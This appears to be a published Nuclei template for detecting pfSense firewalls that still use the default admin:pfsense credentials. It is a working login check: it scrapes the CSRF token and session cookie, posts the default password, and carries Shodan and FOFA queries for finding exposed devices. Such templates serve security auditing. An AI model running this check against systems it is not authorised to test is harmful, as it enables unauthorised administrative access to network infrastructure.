pfsense-default-login: pfSense - Default Admin Credentials

2026-04-09 pfSense PoC Public

Description

Detected pfSense firewall was found using default administrator credentials (admin:pfsense). An attacker could have gained full administrative access to manage firewall rules, routing, and network configuration.

PoC

id: pfsense-default-login

info:
  name: pfSense - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected pfSense firewall was found using default administrator credentials (admin:pfsense). An attacker could have gained full administrative access to manage firewall rules, routing, and network configuration.
  reference:
    - https://docs.netgate.com/pfsense/en/latest/
  metadata:
    verified: true
    max-request: 2
    vendor: netgate
    product: pfsense
    shodan-query: 'http.title:"pfSense"'
    fofa-query: 'title="pfSense"'
  tags: default-login,pfsense,firewall,network

variables:
  username: "admin"
  password: "pfsense"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "pfSense", "__csrf_magic")'
        condition: and

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        internal: true
        regex:
          - 'var csrfMagicToken = "([^"]+)"'

      - type: regex
        name: phpsessid
        part: header
        group: 1
        internal: true
        regex:
          - 'Set-Cookie: (PHPSESSID=[^;]+)'

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html
        Cookie: {{phpsessid}}

        __csrf_magic={{csrf}}&usernamefld={{username}}&passwordfld={{password}}&login=Sign+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(to_lower(header), "location: /")'
          - '!contains(to_lower(header), "index.php")'
        condition: and
# digest: 490a0046304402203c6788f7e0f27e9c5063a34bd5ec3af36f08ccbc7d6fe455a0461cdaafa3001d022004c636359d81ac9f1114e6484471a949523277acaf0b6abefb3694081151129d:922c64590222798bb761d5b6d8e72950

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